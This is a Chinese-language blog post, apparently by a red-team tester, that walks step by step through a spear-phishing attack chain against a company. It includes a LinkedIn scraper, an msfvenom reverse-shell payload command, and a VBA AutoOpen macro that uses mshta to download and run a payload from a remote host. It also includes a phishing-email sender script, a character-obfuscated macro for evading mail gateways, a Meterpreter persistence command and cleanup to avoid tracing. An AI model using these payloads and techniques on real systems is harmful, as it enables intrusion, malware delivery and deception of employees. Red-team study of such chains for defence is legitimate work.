一、从邮件网关到终端:如何绕过层层防线?

有一次在接受某企业的红队授权测试时,他们的蓝队明确表示:「我们有最先进的邮件网关、防钓鱼机制以及员工安全意识培训,你们不可能通过社工铓鱼这条路突破。」听到这句话,我当时笑了笑,心里却冒出了一个问题:如果我是一个 APT 团伙,面对这样的目标,我会如何设计一场几乎无法察觉的社工铓鱼攻击?

防御的强大往往源于对已知手段的了解,而攻击的精髓在于发现那些看似坚不可摧的链条中隐藏的薄弱环节。本篇文章,我会带你复盘一次完整的社工铓鱼攻击链:从信息收集到最终目标落地,详细拆解每一步的技术细节和关键点,并提供完整代码示例,让你能够真正理解这类攻击的精髓。

合法声明:本文仅限授权的安全测试与研究用途,严禁任何非法使用。

---

二、信息战的序幕:目标情报收集

一次成功的社工铓鱼攻击,绝不是随手发一封邮件这么简单。在进入攻击阶段之前,我需要精准了解目标的组织架构、内部人员、对外暴露的技术资产以及可能的弱点。

1. OSINT技能全开:收集公开信息

在这次测试中,我首先锁定了目标公司的域名,接着通过一些公开的情报搜集工具,尽可能挖掘与之相关的外部信息。下面是我使用的工具和方法。

工具1:theHarvester

theHarvester 是一个非常强大的 OSINT 工具,可以从多种公开数据源中提取域名相关的子域名、邮箱地址等信息。这些信息是后续攻击的重要起点。

<pre><code class="language-bash"># 搜集目标公司域名相关的邮箱地址 theHarvester -d targetcompany.com -b google</code></pre>

工具2:LinkedIn爬虫

社工攻击的最佳目标通常是那些活跃在社交媒体上的员工,尤其是 HR、客服等与外界频繁接触的职位。利用 Python 的 BeautifulSoup 模块,我写了一个小爬虫,用来抓取 LinkedIn 上的目标公司员工列表。

黑客示意图

<pre><code class="language-python">import requests from bs4 import BeautifulSoup

def scrape_linkedin(company_name): search_url = f&quot;https://www.linkedin.com/search/results/people/?keywords={company_name}&quot; headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;} response = requests.get(search_url, headers=headers) soup = BeautifulSoup(response.text, &quot;html.parser&quot;)

提取员工信息

profiles = soup.find_all(&quot;a&quot;, class_=&quot;search-result__result-link&quot;) for profile in profiles: print(profile.get(&quot;href&quot;))

scrape_linkedin(&quot;Target Company&quot;)</code></pre>

2. 针对性情报:挖掘技术资产

除了员工信息,目标公司的技术资产同样重要。通过 Shodan、Censys 等工具,可以快速获取目标的暴露服务,甚至是可能存在漏洞的端点。

<pre><code class="language-bash"># 搜索暴露在公网的办公系统,比如 VPN 网关 shodan search &quot;ssl.cert.subject.CN=*.targetcompany.com&quot;</code></pre>

到这一步,我已经收集到大量的基础情报:员工的姓名、职位邮箱,以及公司使用的关键技术平台。这些信息为后续的鱼叉式邮件攻击奠定了基础。

---

三、构造完美诱饵:鱼叉邮件的艺术

在社工铓鱼攻击中,邮件的质量直接决定了攻击的成功率。低质量的钓鱼邮件往往一眼就会被识别出来,而高质量的邮件则能够骗过目标,甚至绕过邮件网关。

1. 准备邮件载荷:恶意文档的生成

为了提升攻击的隐蔽性,我选择将恶意载荷嵌入到看似无害的 Word 文档中。这里我使用了 msfvenom 来生成一个具有反向 Shell 功能的载荷。

<pre><code class="language-bash"># 生成一个恶意 Macro 文档 msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.100 LPORT=4444 -f hta-psh -o payload.hta</code></pre>

融合恶意代码到文档中

生成的 HTA 文件需要嵌入到 Word 文档的宏中。我手动编辑一个模板,并将它与恶意载荷结合。

黑客示意图

<pre><code class="language-vba">Sub AutoOpen() Dim objShell As Object Set objShell = CreateObject(&quot;WScript.Shell&quot;) objShell.Run &quot;mshta.exe http://192.168.0.100/payload.hta&quot;, 0 End Sub</code></pre>

2. 模拟真实邮件:鱼叉邮件的模板设计

为了提升邮件的可信度,我伪装成目标公司合作伙伴的客服,并参考他们官网的邮件格式设计了一封高度仿真的邮件。以下是 Python 脚本,用于快速发送钓鱼邮件:

<pre><code class="language-python">import smtplib from email.mime.text import MIMEText

def send_phishing_email(target_email, payload_url): sender_email = &quot;[email protected]&quot; subject = &quot;请查看最新的合同文件&quot; body = f&quot;&quot;&quot; 尊敬的客户,

我们更新了与贵公司的合作合同,请点击以下链接查看: {payload_url}

感谢您的支持! 假冒合作伙伴客服团队 &quot;&quot;&quot;

msg = MIMEText(body, &quot;plain&quot;, &quot;utf-8&quot;) msg[&quot;From&quot;] = sender_email msg[&quot;To&quot;] = target_email msg[&quot;Subject&quot;] = subject

使用 SMTP 发送邮件

with smtplib.SMTP(&quot;smtp.mailtrap.io&quot;, 587) as server: server.starttls() server.login(&quot;fake_username&quot;, &quot;fake_password&quot;) server.sendmail(sender_email, target_email, msg.as_string())

send_phishing_email(&quot;[email protected]&quot;, &quot;http://192.168.0.100/malicious.doc&quot;)</code></pre>

---

四、突破检测:邮件网关与安全产品的对抗

邮件网关往往是鱼叉邮件的第一道防线。如何绕过这些检测机制,是社工铓鱼攻击成败的关键。

1. 绕过邮件过滤策略

为了绕过邮件网关的关键字检测,我采取了以下对策:

  • 使用无害的文件名:将文档命名为类似 “Invoice_2023.doc” 的名称,避免引起怀疑。
  • 混淆宏代码:使用混淆工具对 VBA 宏代码进行加密,降低被静态分析检测到的概率。

以下是一个 VBA 混淆的示例代码:

<pre><code class="language-vba">Sub Obfuscated() Dim shl As Object Set shl = CreateObject(Chr(87) &amp; Chr(83) &amp; Chr(99) &amp; Chr(114) &amp; Chr(105) &amp; Chr(112) &amp; Chr(116)) shl.Run Chr(109) &amp; Chr(115) &amp; Chr(104) &amp; Chr(116) &amp; Chr(97) &amp; Chr(46) &amp; Chr(101) &amp; Chr(120) &amp; Chr(101) End Sub</code></pre>

---

五、持久化与后门:渗透的深入

当目标用户打开恶意文档并触发宏后,我的 C2 服务器便接收到反向连接,这表明初期攻击已经成功。接下来,我会利用 Meterpreter 提供的功能进行权限维持和进一步渗透。

1. 创建隐蔽的后门

通过 Meterpreter,我可以在目标系统中植入隐蔽的后门程序,以确保即使目标用户关闭文档,我仍然能够重新控制设备。

<pre><code class="language-bash">meterpreter &gt; run persistence -U -i 5 -p 4444 -r 192.168.0.100</code></pre>

2. 信息收集与横向移动

这部分技术细节将在下一篇文章中详细拆解,包括如何在内网中进行横向传播和数据窃取。

---

黑客示意图

六、痕迹清理:让攻击无迹可寻

为了避免被蓝队溯源,我在攻击结束后执行了全面的清理工作,包括:

  • 删除恶意文档及其宏代码;
  • 清理攻击过程中生成的临时文件;
  • 关闭流量通道,销毁 C2 基础设施。

<pre><code class="language-bash">rm -rf /var/www/html/payload.hta</code></pre>

---

七、个人经验总结:攻击者的心理游戏

社工铓鱼攻击的核心在于心理战术,而不是技术堆砌。成功的前提是对目标的深入了解,以及对防御机制的细致研究。没有无懈可击的防线,只有还未被发现的漏洞。

愿每位安全研究员都能从攻击者视角中获取灵感,为构建更安全的网络贡献力量。